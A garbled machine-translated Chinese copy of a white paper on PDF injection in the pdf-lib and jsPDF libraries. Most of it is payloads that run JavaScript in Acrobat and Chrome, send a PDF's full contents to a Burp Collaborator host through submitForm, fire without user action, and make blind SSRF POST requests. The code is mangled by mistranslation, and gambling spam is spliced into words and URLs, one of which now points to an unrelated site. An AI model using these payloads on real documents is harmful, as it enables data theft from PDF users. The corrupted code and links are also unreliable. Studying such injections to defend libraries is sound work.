便携式数据Exfiltration:PDFS的XSS

显示PDF图标的图形被注入

抽象的

PDF文档和PDF生成器在web上随处可见,注入漏洞也是如此。beplay体育能用吗你知道控制一个微不足道的HTTP超链接可以为进入PDF的内部工作提供一个立足点吗?在本文中,您将学习如何使用单个链接危害PDF的内容并将其提取到远程服务器,就像盲人一样XSS攻击。

我将展示如何注入PDF代码来转义对象、劫持链接,甚至执行任意JavaScript——基本上是PDF文档范围内的XSS。我评估了几个流行的用于注入攻击的PDF库,以及最常见的读者:Acrobat和Chrome的PDFium。您将学习如何创建PDF注入的“警报(1)”,以及如何改进它注入JavaScript,可以在两个阅读器上窃取PDF的内容。

我将分享我能够在各种PDF对象上使用自定义JavaScript枚举器的方式来发现制作外部请求的函数,使我能够从PDF中删除数据。即使是从Acrobat中的文件系统加载的PDF,也可以仍然可以进行更严格的保护,以使外部请求进行外部请求。我成功制作了一个可以执行的注射SSRF攻击PDF渲染服务器端。我还设法从同一个域读取文件的内容,即使当Acrobat用户代理被WAF阻止时也是如此。最后,我将向您展示如何在没有用户交互的情况下窃取PDF的内容,并提供一个可以在PDFium和Acrobat上工作的混合PDF。

这个白皮书也可以作为一个可打印的PDF以及在2020年黑帽欧洲大会上首次亮相的“导演剪辑版”演讲:

介绍

这一切都始于我的同事詹姆斯"Albinowax."凯特尔,在黑帽看了一场关于PDF加密的演讲。他看着幻灯片,心想“这绝对是可以注射的”。当他回到办公室后,我们讨论了PDF注入的问题。起初,我认为这是不可能的。您不知道PDF的结构,因此无法注入正确的对象引用。理论上,你可以通过注入一个全新的xref表来做到这一点,但这在实践中行不通,因为你的新表会被简单地忽略……在波特斯威格,我beplay官网可以赌们不会止步于此;我们可能最初认为一个想法是不可能的,但这不会阻止我们去尝试。

在我开始测试之前,我脑海中有几个研究目标。给定用户输入到PDF,我可以打破它并导致解析错误吗?我可以执行JavaScript或提取PDF的内容吗?我想测试两种不同类型的注射:知情和盲注。知情注入指的是我知道PDF的结构的情况(例如,因为我能够自己查看生成的PDF)。使用盲注入时,我对PDF的结构或内容一无所知,就像盲注入XSS一样。

注入理论

用户输入如何进入PDF?

服务器端PDF生成无处不在;它位于电子票证,收据,登机票通行证,发票,付费单据......列表继续。因此,用户输入有很多机会将在PDF文档中获取。最可能的注射目标是文本流或注释,因为这些对象允许开发人员嵌入文本或URI,括在括号内。如果恶意用户可以注入括号,则它们可以注入PDF代码并可能插入自己的有害PDF对象或操作。

为什么要尝试注入PDF代码?

考虑一个应用程序,其中多个用户使用包含敏感信息(如银行详细信息)的共享PDF。如果您能够通过注入控制该PDF的部分内容,那么当其他用户访问该文件或以某种方式与之交互时,您可能会提取该文件的全部内容。这就像典型的XSS攻击一样,只是在PDF文档的范围内。

为什么不能注入任意内容?

将PDF注入看作是JavaScript函数调用中的XSS注入。在这种情况下,您需要确保您的语法是有效的,在注入之前关闭圆括号,并在注入之后修复圆括号。同样的原理也适用于PDF注入,只不过是在字典值(如文本流或注释URI)内注入,而不是在函数调用内注入。

方法

方法

我设计了以下PDF注射方法:识别,构建和开发。

识别

首先,您需要识别PDF生成库是否正在逃离括号或反斜杠。您还可以尝试使用包含0x5c(backslash)或0x29(括号)的多字节字符来生成这些字符,希望库错误地将它们转换为单字节字符。生成括号或反斜杠的另一种可能的方法是在ASCII范围之外使用字符。如果库错误地处理该角色,这可能会导致溢出。然后,您应该通过注入空字符,eof标记或评论来查看您是否可以打破PDF结构。

构造

一旦确定了可以影响PDF的结构,就需要构造一个注入来确认控制其中的一部分。这可以通过调用“app.alert(1)”在PDF JavaScript或使用submitForm动作/函数向外部URL发出POST请求。这对于盲注入场景很有用。

利用

一旦确认注入是可能的,就可以尝试利用它来提取PDF的内容。根据您是注入SubmitForm动作还是使用SubmitForm JavaScript函数,您需要发送正确的标志或参数。在本文后面介绍如何利用注入时,我将向您展示如何做到这一点。

弱势图书馆

在进行这项研究时,我尝试了大约8个不同的库。其中,我发现两个容易受到PDF注射的两个:PDF-lib和JSPDF,这两者都是NPM模块。PDF-lib每周下载超过52k,jspdf超过250k。每个库似乎都正确逃避了文本流,但否则允许在注释中允许PDF注入。以下是您在PDF-lib中创建注释的示例:

const linkAnnotation = pdfDoc.context.obj({
类型:'ANNOT',
子类型:'Link',
正确:[50,高度- 95,320,高度- 130],
边框:[0,0,2],
C: [0,0,1],
答:{
类型:“行动”,
学生:“URI”,
URI: PDFString.of(' /输入')/ /脆弱的代码
}
})

正如您在代码示例中看到的,PDF-lib有一个辅助函数来生成PDF字符串,但它不会转义括号。因此,如果开发人员在URI内部输入用户输入,则攻击者可以突破并注入自己的PDF代码。另一个库,jspdf,具有相同的问题,但此时间在其注释生成代码的URL属性中:

var doc = new jsPDF();
doc.text(20,20,'Hello World!');
doc.addPage(“a6”、“l”);
doc.createAnnotation({界限:{x: 0 y: 10 w: 200年,h: 200},类型:“链接”,输入url: ' / '}); / /脆弱的代码

利用注射

在我展示我发现的矢量之前,我会走过我去找他们的旅程。首先,我会讨论如何尝试执行JavaScript并从注射中窃取PDF的内容。我将向您展示如何在从Acrobat上的文件系统打开时解决跟踪和泄露PDF的问题,以及我如何在不需要用户交互的情况下执行注释。之后,我将讨论为什么这些注射失败的铬,以及如何使它们工作。我希望你能享受推进注射的旅程。

杂技演员

第一步是测试一个PDF库,所以我下载了PDFKit,创建了一组测试pdf,并查看生成的输出。首先突出的是文本对象。如果你在文本流中有一个注入,那么你可以使用右括号打破文本并注入你自己的PDF代码。

PDF文本对象如下所示:

PDF文本流的图表

BT表示文本对象的开始,/F13设置字体,12指定大小,Tf是字体资源操作符(值得注意的是,在PDF代码中,操作符倾向于遵循其参数)。

Tf后面的数字是页面上的起始位置;Td操作符使用这些数字指定文本在页面上的位置。开始的圆括号开始将被添加到页面的文本,“ABC”是实际的文本,然后结束的圆括号结束文本字符串。Tj是显示文本操作符,ET结束文本对象。

控制括号内的字符可以使我们突破文本字符串并注入PDF代码。

我用PDFKit、PDF Make和FPDF尝试了我的方法中提到的所有技术,但都一无所获。在这一点上,我暂停了研究,做了一些其他的事情。我经常在进入死胡同时这样做。如果什么都不起作用,把时间浪费在毫无进展的研究上是没有好处的。我发现以后用一个新鲜的思维回来会很有帮助。坚持是好的,但不要陷入重复而没有结果的陷阱。

PDF-Lib

带着全新的想法,我重新开始研究,并决定研究PDF规范。与XSS一样,PDF注入可以发生在不同的上下文中。到目前为止,我只查看了文本流,但有时用户输入可能被放置在链接中。注释之所以能引起我的注意,是因为它允许开发人员在PDF文本和对象上创建类似锚的链接。到现在为止,我已经有了第4个PDF库。这一次,我在吸毒PDFLib。我花了一些时间使用这个库创建了一个注释,看看是否可以向注释URI中注入一个闭括号——它成功了!我用来生成注释代码的脆弱代码示例是:


答:{
类型:“行动”,
学生:“URI”,
URI: PDFString.of(注射)),
}
})

完整的代码:

我怎么知道注射成功了?除非我注入一个右括号,否则PDF将正确呈现。这证明了右括号中断了字符串并导致无效的PDF代码。破坏PDF很好,但是我需要确保我能够执行JavaScript。我查看了呈现的PDF代码,并注意到输出是使用FlateDecode过滤器进行编码的。我写了一个小脚本来缩小区块,注释部分的输出如下所示:

<<
/类型/ annot
/子类型/链接
/ rect [50 746.89 320 711.89]
/边框[0 0 2]
/ c [0 0 1]
/ < <
/ /操作类型
/ S / URI
/ URI(注射)
>>
>>

正如你可以清楚地看到的,注入字符串用结束圆括号结束了文本边界,这留下了一个现有的结束圆括号,导致PDF被错误地渲染:

下载PDF时显示错误对话框的屏幕截图

很好,我可以破坏PDF的渲染,现在怎么办?我需要提出一个注入,调用一些JavaScript -警告(1)的PDF注入。

就像XSS向量依赖于浏览器的解析一样,PDF注入可利用性也依赖于PDF渲染器。我决定以Acrobat为目标开始,因为我认为向量不太可能在Chrome中工作。我注意到两件事:1)你可以注入额外的注释操作,2)如果你修复了现有的闭括号,那么PDF将会呈现。经过一些实验,我想出了一个很好的有效负载,它注入了一个额外的注释操作,执行JavaScript,并修复了右括号:

/等等)> > / < < / S / JavaScript / JS (app.alert(1);) /类型/行动> > / > > (

首先打破括号,然后使用>>打破字典,然后开始一个新的注释字典。/S/JavaScript使注释基于JavaScript,而/JS是JavaScript存储的地方。括号内是我们实际的JavaScript。请注意,如果括号是平衡的,则不必转义括号。最后,我添加了注释的类型,完成了字典,并修复了结束括号。这太酷了;我可以编写一个执行JavaScript的注入但那又怎样?可以执行JavaScript,但不能访问DOM,因此无法读取cookie。然后詹姆斯突然出现,建议从注射中窃取PDF文件的内容。我开始寻找获得PDF内容的方法。 In Acrobat, I discovered that you can use JavaScript to submit forms without any user interaction! Looking at the spec for the JavaScript API, it was pretty straightforward to modify the base injection and add some JavaScript that would send the entire contents of the PDF code to an external server in a POST request:

/等等)> > / < < / S / JavaScript / JS (app.alert (1);
this.submitform({
卷曲:'https://your-id.burpcollaborator.net'.csubmitas:'pdf'}))
/ /类型/行动> > > > (

警报是不需要的;我添加它只是为了证明注入正在执行JavaScript。

接下来,为了好玩,我研究了在不使用JavaScript的情况下窃取PDF的内容。从PDF规范中,我发现可以使用一个名为SubmitForm的操作。我过去在Burp Suite中构建扫描检查PDF时使用了这个方法。它的作用和它的名字一样。它还在字典中有一个Flags条目来控制提交的内容。Flags字典键接受单个整数值,但每个设置都由二进制位控制。处理这些设置的一个好方法是在ES6中使用新的二进制字面值。二进制字面值应该是14位长,因为总共有14个标志。在以下示例中,所有设置都是禁用的:

0 b00000000000000

要设置标志,您首先需要查找其位位置(表237PDF规格)。在这种情况下,我们要设置supmendpdf标志。由于这是由第9位控制的,您只需要从右侧计数9位:

0 b00000100000000

如果用JavaScript计算这个值,结果是十进制值256。换句话说,将Flags项设置为256将启用SubmitPDF标志,这将导致在提交表单时发送PDF的内容。我们需要做的就是使用我们之前创建的基础注入,并修改它来调用SubmitForm动作,而不是JavaScript:

/ blah)>> / a << / s / senderform / flugs 256 / f(
https://your-id.burpcollaborator.net)
/ /类型/行动> > > > (

jsPDF

接下来,我将我的方法应用到另一个PDF库-jsPDF——发现自己也很脆弱。利用这个库非常有趣,因为它有一个API,可以在浏览器中执行,并允许您在键入时实时生成PDF。我注意到,像PDP-Lib库一样,他们忘记在注释url中转义括号。这里的url属性是脆弱的:

doc.createAnnotation({界限:
{x:0,y:10,w:200,h:200},
类型:“链接”,URL:`/输入`});
/ /脆弱

所以我使用他们的API生成了一个PDF,并将PDF代码注入url属性:

var doc = new jsPDF();
doc.text(20,20,'Hello World!');
doc.addPage(“a6”、“l”);
doc.createAnnotation({界限:
{x: 0 y: 10 w: 200年,h: 200},类型:“链接”,网址:
/等等)> > / < < / S / JavaScript / JS (app.alert(1);) /类型/行动/ F 0 / (
'});

我通过删除字典的类型条目和不需要的f条目来减少矢量。然后我留下了一个将由现有的悬挂括号括起来。降低注射的大小是重要的,因为您注入的Web应用程序可能只允许有限量的字符。beplay体育能用吗

/等等)> > / < < / S / JavaScript / JS (app.alert (1)

然后我算出,它是可能的减少向量甚至进一步!Acrobat将允许一个URI和一个JavaScript条目在一个注释动作中,并愉快地执行JavaScript:

/) / S / JavaScript / JS (app.alert (1)

进一步的研究表明,您还可以注入多个注释。这意味着,您可以跳出注释并定义自己的rect坐标,以选择可以单击文档的哪个部分,而不只是注入一个操作。使用这种技术,我能够使整个文档可点击。

/) > > > >
<0] /A <

编写一个枚举器

下一个阶段是看Acrobat如何处理从文件系统加载的pdf文件,而不是直接从网站提供。beplay体育能用吗在这种情况下,有更多的限制。例如,当您尝试向外部URL提交表单时,现在将触发一个提示,用户必须手动确认他们想要提交表单。为了避开这些限制,我编写了一个枚举器/fuzzer来调用每个对象上的每个函数,以查看一个函数是否允许我在没有用户交互的情况下联系外部服务器。

var doc = new jsPDF();
doc.text(20,20,'Hello World!');
doc.addPage(“a6”、“l”);
doc.createAnnotation({界限:{x: 0 y: 10 w: 200年,h: 200},类型:“链接”,url: ' /等等)> > / < < / S / JavaScript / JS (

(我在obj) {
尝试 {
如果(i = = =“控制台”| | = = =“getURL”| | = = = submitForm) {
继续;
}
If (typeof obj[i] != 'function') {
console.println(i +'='+ obj [i]);
}
尝试 {
console.println(电话:+ i +'=>'+'='+ obj[我](' http://your-id- ' +我+“.burpcollaborator.net ?”+,2,3));

完整的代码

枚举器首先在全局对象"this"上运行for循环。我跳过了getURL、submitForm和控制台对象,因为我知道它们会导致提示,并且不允许您联系外部服务器,除非单击allow。Try-catch块用于防止由于不能调用该函数或该属性不是有效函数而引发异常时,循环失败。Burp Collaborator用于查看是否成功联系了服务器—我在子域中添加了正在检查的键,以便Collaborator将显示哪个属性允许交互。

使用此模糊机器,我发现了一种可以调用联系外部服务器的方法:CBSharedReviewifofflinedialog将导致DNS交互,而无需用户单击允许。然后,您可以使用DNS exfiltrate PDF或其他信息的内容。但是,由于我们的注射使用注释动作,这仍然需要点击咔嗒声。

在没有交互的情况下执行注释

到目前为止,我所演示的向量需要单击以激活注释中的操作。通常,James会问“我们能自动执行吗?”我浏览了PDF规范,并注意到注释的一些有趣特性:

光伏PI.条目允许对打开的页面和可见的页面进行区分。在任何时候,在查看器应用程序中只有一个页面被认为是打开的,而根据页面布局,可能有多个页面是可见的。”

我们可以将PV条目添加到字典中,注释将自动启动Acrobat!不仅如此,我们还可以在使用PC条目关闭PDF文档时自动执行有效载荷。当您打开PDF并关闭它时,攻击者可以跟踪您。

下面是如何从注释自动执行:

var doc = new jsPDF();
doc.createannotation({edres:{x:0,y:10,w:200,h:200},类型:'link',URL:`/)
>> >>
<< Subtype /Screen /Rect [0 0 900 900] /AA <</光伏< < / S / JavaScript / JS (app.alert (1 ))>>/(`});
医生。text(20, 20, '自动执行');

当你关闭PDF时,这个注释会触发:

var doc = new jsPDF();
doc.createAnnotation({界限:{x: 0 y: 10 w: 200年,h: 200},类型:“链接”,url :`/) >> >>
<< Subtype /Screen /Rect [0 0 900 900] /AA <</电脑< < / S / JavaScript / JS (app.alert (1 ))>>/(`});
医生。text(20, 20, 'Close me');

我已经说了很多关于Acrobat的内容,但是关于PDFium (Chrome的PDF阅读器)呢?Chrome是一个棘手的问题;攻击面要小得多,因为它的JavaScript支持比Acrobat的更有限。我注意到的第一件事是,JavaScript根本不是在注释中执行的,所以我的概念证明不起作用。为了让向量在Chrome中工作,我至少需要在注释中执行JavaScript。但首先,我决定尝试在注释中重写URL。这很简单。我可以使用之前的基础注入,简单地注入一个URI条目,覆盖现有的URL:

var doc = new jsPDF();
doc.createAnnotation({界限:{x: 0 y: 10 w: 200年,h: 200},类型:“链接”,url: ' /等等)> > / < < / S / URI / URI (hbeplay官网可以赌ttps://www.muteki-anime.com)
/类型/行动> > / F 0 > > ('});
医生。text(20, 20, 'Test text');

当单击时,这将导航到portswigger.nbeplay官网可以赌et。然后我继续尝试使用不同的注入来调用JavaScript,但是每次都失败。我觉得这是不可能的。我后退一步,尝试手动构建一个完整的PDF,它可以在没有注入的情况下在Chrome中点击调用JavaScript。当使用AcroForm按钮时,Chrome将允许JavaScript执行,但问题是它需要引用PDF的部分。我设法制作了一个可以通过点击JSPDF来执行JavaScript的注入:

var doc = new jsPDF();
doc.createannotation({edres:{x:0,y:10,w:200,h:200},类型:'link',URL:`/)>> >> << / BS << / S / B/ w 0 >> /类型/ annot / mk << / bg [0.825 0.8275 0.8275] / ca(提交)>> / rect [72 697.8898 144 676.2897] / subtype / widget / ap << / n << / type /xobject / bbox [0 0 72 21.6] / subtype / form >>>> / parent << / sido [3 0 r] / ff 65536 / ft / btn / t(测试)>> / h / p / a <医生。text(20,20, 'Click me test');

正如您所看到的,上面的向量需要PDF结构的知识。[3 0 R]指的是一个特定的PDF对象,如果我们要进行PDF盲注攻击,我们将不知道它的结构。不过,下一步是尝试表单提交。我们可以使用submitForm函数,因为注释需要点击,Chrome将允许它:

/)>> >> << / BS << / S / B / W 0 >> /型号/ ANNOT / MK << / BG [0.0 813.54 566.93 -298.27] / CA(提交)>> / RECT [72 697.8898144 676.2897] / subtype / widget / ap << / n << / type / xobject / bbox [0 0 72 21.6] / subtype / form >>>> / parent << / show [3 0 R] / ff 65536 /ft / btn / t(测试)>> / h / p / a << / s / javascript / js(app.alert(1); this.submitform('https://your-id.burpcollaborator.net')4) /类型/行动/ F / DA(废话

这是有效的,但它很乱,需要了解PDF结构。我们可以减少它并消除对PDF结构的依赖:

#) >> >> < > /类型/ Annot /可< < / BG [0 0 889 792] / CA(提交)> > /矩形[0 0 889 792]/亚型/部件/美联社< < / N < < /类型/ XObject /亚型/形式> > > > /父< < /孩子[]/ Ff 65536英尺/ Btn / T(测试)> > / H / P / < < / S / JavaScript / JS (
app.alert (1)
4) /类型/行动/ F / DA(废话

我们还可以删除一些代码:

var doc = new jsPDF();
doc.createAnnotation({界限:{x: 0 y: 10 w: 200年,h: 200},类型:“链接”,url :`#)>>>>< > / < < / S / JavaScript / JS (app.alert (1) / ('});
医生。text(20, 20, 'Test text');

上面突破注释的代码,创建一个新的代码,并使整个页面可点击。为了使JavaScript执行,我们必须使用“T”条目来注入按钮并给出任何文本。然后,我们最终可以使用字典中的JS条目注入我们的JavaScript代码。在Chrome上执行JavaScript很棒。当我开始这项研究时,我从未想过会有可能。

接下来,我看起来窃取PDF的内容。我们知道我们可以调用该功能,它确实与外部服务器联系,如上一个示例中所示,但它是否支持完整的Acrobat规范?我看着PDFium的源代码但是这个函数不支持SubmitAsPDF:(你可以看到它支持FDF,但不幸的是,这不会提交PDF的内容。我寻找其他方法,但我不知道哪些对象是可用的。我采用了与使用Acrobat时相同的方法,编写了fuzzer/枚举器来查找感兴趣的对象。从Chrome中获取信息比从Acrobat中获取信息更困难;在使用alert函数输出信息之前,我必须以块的形式收集信息。这是因为alert函数截断了发送给它的字符串。


doc.createannotation({edres:{x:0,y:10,w:200,h:200},类型:'link',URL:`#)>> << /类型/ ANNOT / RECT [0 0 900900] / subtype / widget /父<< / ft / btn / t(a)>> / a << / s / javascript / js(
(函数(){
Var obj = this,
数据= ",
块= [],
counter = 0,
添加= false,i,props = [];
For (i in obj) {
props.push(我);
}

完整的代码

检查枚举器的输出后,我尝试调用各种函数,希望发出外部请求或从PDF中收集信息。最后,我发现了一个非常有趣的函数getPageNthWord,它可以从PDF文档中提取单词,从而允许我窃取内容。该函数有一个微妙的错误,有时不会提取第一个单词。但在大多数情况下,它会提取大部分单词:

var doc = new jsPDF();
doc.createannotation({edres:{x:0,y:10,w:200,h:200},类型:'link',URL:`#)>> << /类型/ ANNOT / RECT [0 0 900900] / subtype / widget /父<< / ft / btn / t(a)>> / a << / s / javascript / js(
话说= [];
for(第= 0;页(wordPos = 0; wordPos < this.getPageNumWords(页面);wordPos + +) {
词=。getPageNthWord(页面、wordPos真实);
words.push(词);
}
}
app.alert(单词);
'});
医生。text(20,20, 'Click me test');
医生。text(20,40, 'Abc Def');
doc.text(20,60,'某个词');

我很高兴我能在Chrome上窃取PDF的内容,因为我从未想过这是可能的。将其与submitForm向量相结合,可以将数据发送到外部服务器。唯一的缺点是它需要点击。我想知道你是否可以在没有点击Chrome浏览器的情况下执行JavaScript。再次查看PDF规范,我注意到注释字典中还有一个名为“E”的条目,它将在鼠标进入注释区域时执行注释—基本上是一个mouseover事件。不幸的是,这不能算作支持表单提交的用户交互。因此,尽管可以执行JavaScript,但无法对数据进行任何处理,因为无法将数据发送到外部服务器。如果你能得到Chrome提交数据与这个事件,请让我知道,因为我很有兴趣听到如何。不管怎样,下面是触发鼠标悬停动作的代码:

var doc = new jsPDF();
doc.createAnnotation({界限:{x: 0 y: 10 w: 200年,h: 200},类型:“链接”,url :`/) >> >>
<< /类型/ annot / subtype /窗口小部件/父<< / ft / btn / t(a)>> / rect [0 0 900 900] / aa <</ E.< < / S / JavaScript / JS (app.alert (1 ))>>/(`});
doc.text(20,20,'test');

SSRF PDFium /杂技演员

可以使用PDFium / Acrobat发送POST请求以执行SSRF攻击。这将是一个盲人SSRF.由于您可以发出帖子请求,但无法读取响应。要构建POST请求,您可以使用前面演示的/父词典键将表单元素分配给注释,从而启用JavaScript执行。但是,而不是使用之前的按钮,您可以使用参数名称(/ t)和参数值(/ v)字典键分配文本字段(/ tx)。请注意,您如何通过要用作SendedForm函数作为数组的参数名称:

#) > > > > < < /类型/ Annot /矩形[0 0 900 900]/亚型/部件/父< < /英尺/ Tx / T (foo) / V (bar) > > / < < / S / JavaScript / JS (
app.alert (1);
this.submitForm('https://aiws4u6uubgfdag94xvc5wbrfilc91.burpcollaborator.net', false, false, ['foo']);
/(

您甚至可以发送原始的新行,这在链接其他攻击(如请求走私)时可能非常有用。POST请求的结果可以在下面的Collaborator请求中看到:

显示PDF中Burp协作者请求的屏幕截图

最后,我想使用混合铬和杂技所PDF注射完成。第一部分将JavaScript注入现有注释以在Acrobat上执行JavaScript。第二部分突破了注释,并注入了一个新的注释,用于为Chrome定义一个新的可点击区域。我再次使用acroform技巧来注入一个按钮,以便JavaScript将执行:

var doc = new jsPDF();
doc.createAnnotation({界限:{x: 0 y: 10 w: 200年,h: 200},类型:“链接”,url:“#)/ S / JavaScript / JS (app.alert(1)) /类型/行动> > > > < < /类型/ Annot /矩形[0 0 900 700]/亚型/部件/父< < /英尺/ Btn / T (a) > > / < < / S / JavaScript / JS (app.alert (1)});
doc.text(20,20,'单击ME Acrobat');
医生。text(20,60, 'Click me Chrome');

PDF上传“formcalc”技术

在进行这项研究时,我遇到了一个允许上传PDF文档的HR应用程序。PDF没有经过应用程序的验证,并且允许在PDF文件中嵌入任意的JavaScript。我记得一个很棒的技巧@insertscript.这样你就可以从PDF文件使用formcalc读取同源资源。

我尝试了这种攻击,但它失败了,因为WAF正在阻止来自Acrobat用户代理的请求。然后我尝试缓存资源,发现这将被WAF完全错过-它将永远不会看到一个请求,因为资源是通过缓存加载的。我尝试在PDF注入中使用这种技术,但不幸的是,我无法找到一种方法来注入formcalc或从JavaScript调用formcalc而不使用拖车中的AcroForm字典键。如果有人能做到这一点,请与我联系,因为我会非常感兴趣。

国防

如果您正在编写PDF库,建议您在文本流或注释uri中接受用户输入时转义括号和反斜杠。作为开发人员,您可以使用本文中提到的注入来确认任何用户输入都不会导致PDF注入。考虑对任何进入PDF的内容执行验证,以确保不能注入PDF代码。

结论

  • 易受攻击的库可以使用户在pdf中输入危险,因为没有转义括号和反斜杠。
  • 一个明确的目标有助于解决看似不可能的问题,而坚持不懈在努力实现这些目标时是有回报的。
  • 一个简单的链接可以破坏一个未知PDF的全部内容。

示例文件

你可以在以下网址下载本白皮书中的所有注入例子:

https://github.com/beplay官网可以赌PortSwigger/portable-data-exfiltration/tree/main/PDF-research-samples

确认

我对PDF的结构一无所知,直到我看着谈论手动构建您自己的PDF通过安吉阿尔贝蒂尼。他对我来说是一个巨大的启发,没有他的学习材料,这篇文章永远不会出现。我还要感谢Alex "InsertScriptInführ,他在他的搞乱网络beplay体育能用吗演示。当他展示PDF文件的功能时,每个人都震惊了。谢谢你们两位。我还要感谢Ben Sadeghipour和Cody Brocious提出的从PDF执行SSRF攻击在他们精彩的演讲中。

齿顶高

Adobe发布了一份补丁哪个地址的CBSharedReviewIfOfflineDialog信息披露

返回所有文章